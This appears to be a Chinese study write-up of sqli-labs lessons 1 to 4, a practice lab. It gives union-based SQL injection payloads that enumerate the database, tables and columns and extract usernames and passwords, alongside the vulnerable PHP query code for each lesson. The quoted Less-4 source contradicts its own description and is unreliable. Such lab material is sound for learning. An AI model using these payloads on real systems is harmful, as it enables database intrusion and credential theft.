phpstudy2016:链接:http://pan.baidu.com/s/1bpbEBCj 密码:fmr4
sqli-labs-master:链接:http://pan.baidu.com/s/1jH4WlMY 密码:11mj
Less-1
?id=1' 报错
?id=1'%23 返回正常
?id=1' order by 3%23 返回正常
?id=1' order by 4%23 报错,说明表中有三列
?id=-1' union select 1,2,3%23 只有第一句话id=-1为空,才能回显后面的内容。
回显2,3 说明可以利用这两列回显我想要的董西
猜数据库名
?id=-1' union select 1,database(),3%23
猜表名
concat(str1,str2,...)——没有分隔符地连接字符串
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
或者可以直接
?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database()
猜列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
猜内容
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
?id=-1' union select 1,concat_ws('%23',username,password),3 from users limit 0,1%23
后台查看一下源代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-2
?id=1 order by 4 报错
?id=1 order by 3 不报错,测试得到三列
?id=-1 union select 1,2,3%23
后台查看一下源代码:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-3
单引号加括号闭合
?id=1' 报错
?id=1') %23 成功回显
?id=-1') union select 1,database(),3%23
后台查看一下源代码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-4
双引号加括号闭合
?id=1' 没有报错
?id=1" 报错
?id=1")%23 成功回显
?id=-1") union select 1,database(),3%23
查看一下源代码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);